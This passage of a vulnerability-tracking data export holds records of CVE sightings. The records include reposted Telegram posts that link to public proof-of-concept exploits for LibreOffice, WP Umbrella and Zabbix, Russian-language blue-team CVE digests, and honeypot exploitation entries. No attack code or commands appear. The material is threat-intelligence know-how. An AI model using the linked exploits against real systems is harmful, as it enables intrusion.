"author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11832", "content": "#Threat_Research\nXerox Versalink MFPs\nPass-back attack via LDAP (CVE-2024-12510) and SMB/FTP (CVE-2024-12511)\nhttps://www.rapid7.com/blog/post/2025/02/14/xerox-versalink-c7025-multifunction-printer-pass-back-attack-vulnerabilities-fixed\n]-> Anatomy of a Pass-Back-Attack\n]-> Attacking Xerox\u2019s Multifunction Printers Patch Process\n]-> More", "creation_timestamp": "2025-02-20T02:50:29.000000Z"}, {"uuid": "3ec1cae5-0da1-47c0-8a45-d7b6f09abdd0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12209", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11600", "content": "#exploit\n1. A Practical Guide to PrintNightmare in 2024 (updated\u00a0Oct 5)\nhttps://itm4n.github.io/printnightmare-exploitation\n]-> PnP bypass\n\n2. CVE-2024-12209:\nWP Umbrella Unauthenticated LFI\nhttps://github.com/Nxploited/CVE-2024-12209\n\n3. CVE-2024-30085:\nWindows 11 23H2 EoP\nhttps://ssd-disclosure.com/ssd-advisory-cldflt-heap-based-overflow-pe", "creation_timestamp": "2024-12-24T17:57:48.000000Z"}, {"uuid": "08ae8ba5-bd00-4ff5-95e4-7e14428197c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-03)", "content": "", "creation_timestamp": "2026-08-04T10:00:08.820068Z"}, {"uuid": "9d26abef-789a-454d-a03d-fae8866f44a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-10811, CVE-2024-13161, CVE-2024-13160, CVE-2024-13159 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Ivanti EPM \u0434\u043b\u044f \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83d\udd35CVE-2024-12510 \u0438 CVE-2024-12511 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041c\u0424\u0423 Xerox VersaLink, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pass-back \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 LDAP \u0438 SMB/FTP.\n\n\ud83d\udd35CVE-2025-26465 \u0438 CVE-2025-26466 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 OpenSSH, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c MITM-\u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 VerifyHostKeyDNS \u0438 Dos-\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-0999 \u0438 CVE-2025-1426 \u2014 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Google Stable Channel \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 heap-buffer-overflow \u0432 V8, JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 \u043e\u0442 Chrome, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u0441 heap-buffer-overflo \u0432 GPU.\n\n\ud83d\udd35CVE-2024-12284 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NetScaler Console, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0430\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2022-0778 \u0438 CVE-2025-0867 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043b\u0438\u043d\u0435\u0439\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432 MEAC300 \u043e\u0442 SICK. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:22.914161Z"}, {"uuid": "ddfc67ed-79da-4436-8a5e-e9c3c9d78293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11757", "content": "#exploit \n1. CVE-2024-12847:\nExposing an Old Netgear Vulnerability Still Active in 2025\n\n2. RCE in Lightning AI-development platform\n\n3. CVE-2024-41710:\nMitel phones Argument Injection\n\n3. CVE-2024-46507:\nYETI platform SSTI", "creation_timestamp": "2025-03-18T12:15:38.000000Z"}, {"uuid": "bfdd4e2a-6880-454f-9ade-e17dc3778743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-10811, CVE-2024-13161, CVE-2024-13160, CVE-2024-13159 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Ivanti EPM \u0434\u043b\u044f \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83d\udd35CVE-2024-12510 \u0438 CVE-2024-12511 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041c\u0424\u0423 Xerox VersaLink, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pass-back \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 LDAP \u0438 SMB/FTP.\n\n\ud83d\udd35CVE-2025-26465 \u0438 CVE-2025-26466 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 OpenSSH, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c MITM-\u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 VerifyHostKeyDNS \u0438 Dos-\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-0999 \u0438 CVE-2025-1426 \u2014 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Google Stable Channel \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 heap-buffer-overflow \u0432 V8, JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 \u043e\u0442 Chrome, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u0441 heap-buffer-overflo \u0432 GPU.\n\n\ud83d\udd35CVE-2024-12284 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NetScaler Console, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0430\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2022-0778 \u0438 CVE-2025-0867 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043b\u0438\u043d\u0435\u0439\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432 MEAC300 \u043e\u0442 SICK. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:22.980943Z"}, {"uuid": "e86afee6-d3cd-4303-a6ee-f9b8c067002c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11819", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-17T01:32:28.000000Z"}, {"uuid": "8835c61f-6bcd-430e-915a-e10c4c9a91ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11819", "content": "#exploit\n1. CVE-2024-12425,\nCVE-2024-12426:\nLibreOffice Path Traversal\nhttps://codeanlabs.com/blog/general/exploiting-libreoffice-cve-2024-12425-and-cve-2024-12426\n\n2. CVE-2024-36412:\nUsing XSS filters against XSS filters - Unexpected SQLI/RCE\nhttps://secarius.fr/cves/cve_2024_36412_using_filters_against_filters_unexpected_sql_injection\n\n3. CVE-2024-42327:\nZabbix Privilege Escalation -> RCE\nhttps://github.com/godylockz/CVE-2024-42327", "creation_timestamp": "2025-02-17T01:32:28.000000Z"}, {"uuid": "0f9fc75f-e20b-4fa9-827b-e27f1f4d07fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-03)", "content": "", "creation_timestamp": "2026-08-04T10:15:04.257220Z"}, {"uuid": "606e285f-6367-4d11-bae6-8dc90fd9fe27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-05-04)", "content": "", "creation_timestamp": "2026-05-04T00:00:00.000000Z"}, {"uuid": "d1b00728-9908-479c-b4e2-6f7e5840e2ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12023", "type": "seen", "source": "https://t.me/cvedetector/24324", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12023 - \"Elementor CRM FULL Cliente SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12023 \nPublished : May 2, 2025, 4:15 a.m. | 33\u00a0minutes ago \nDescription : The FULL \u2013 Cliente plugin for WordPress is vulnerable to SQL Injection via the 'formId' parameter in all versions 3.1.5 to 3.1.25 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is only exploitable when the PRO version of the plugin is activated, along with Elementor Pro and  Elementor CRM. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-02T07:34:51.000000Z"}, {"uuid": "3bc084ec-e533-4340-8fdc-8a3725a74b03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12084", "type": "seen", "source": "https://t.me/purp_sec/316", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-49035 \u0438 CVE-2023-34192 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Microsoft Partner Center \u0438 Synacor Zimbra Collaboration Suite (ZCS). \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043a \u043d\u0438\u043c \u0432\u044b\u0448\u043b\u0438 \u0432 2024 \u0438 2023 \u0433\u043e\u0434\u0430\u0445 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, CISA \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0430 \u0438\u0445 \u043a\u0430\u043a \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0435.\n\n\ud83d\udd35CVE-2025-20029 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 F5 BIG-IP, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f iControl REST API \u0438 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 BIG-IP TMOS (tmsh). \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c \u0443\u0440\u043e\u0432\u043d\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c\u0438 \u0444\u0430\u0439\u043b\u0430\u043c\u0438.\n\n\ud83d\udd35CVE-2025-20111 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u043e\u0432 Nexus \u043e\u0442 Cisco. \u0421\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 CVE, \u0437\u0430\u043a\u0438\u0434\u0430\u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 Ethernet-\u0444\u0440\u0435\u0439\u043c\u0430\u043c\u0438 \u043d\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u0438. \u0412 \u0438\u0442\u043e\u0433\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0432 \u0440\u0435\u0431\u0443\u0442.\n\n\ud83d\udd35CVE-2024-12084 \u2014 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u043a\u0443\u0447\u0438 (heap-based buffer overflow) \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 rsync. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c 48 \u0431\u0430\u0439\u0442\u043e\u0432 \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0443\u0444\u0435\u0440\u0430 sum2 \u0432 \u0441\u043e\u0441\u0435\u0434\u043d\u044e\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u0438, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u0415\u0441\u043b\u0438 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c rsync \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u0443\u0442 \u0438 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-05T00:00:24.172528Z"}, {"uuid": "ce286893-69c3-477f-a99c-f37e9d76fd32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12225", "type": "seen", "source": "https://t.me/cvedetector/24656", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12225 - Quarkus WebAuthn Default Endpoints Information Disclosure and Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12225 \nPublished : May 6, 2025, 8:15 p.m. | 2\u00a0hours ago \nDescription : A vulnerability was found in Quarkus in the quarkus-security-webauthn module. The Quarkus WebAuthn module publishes default REST 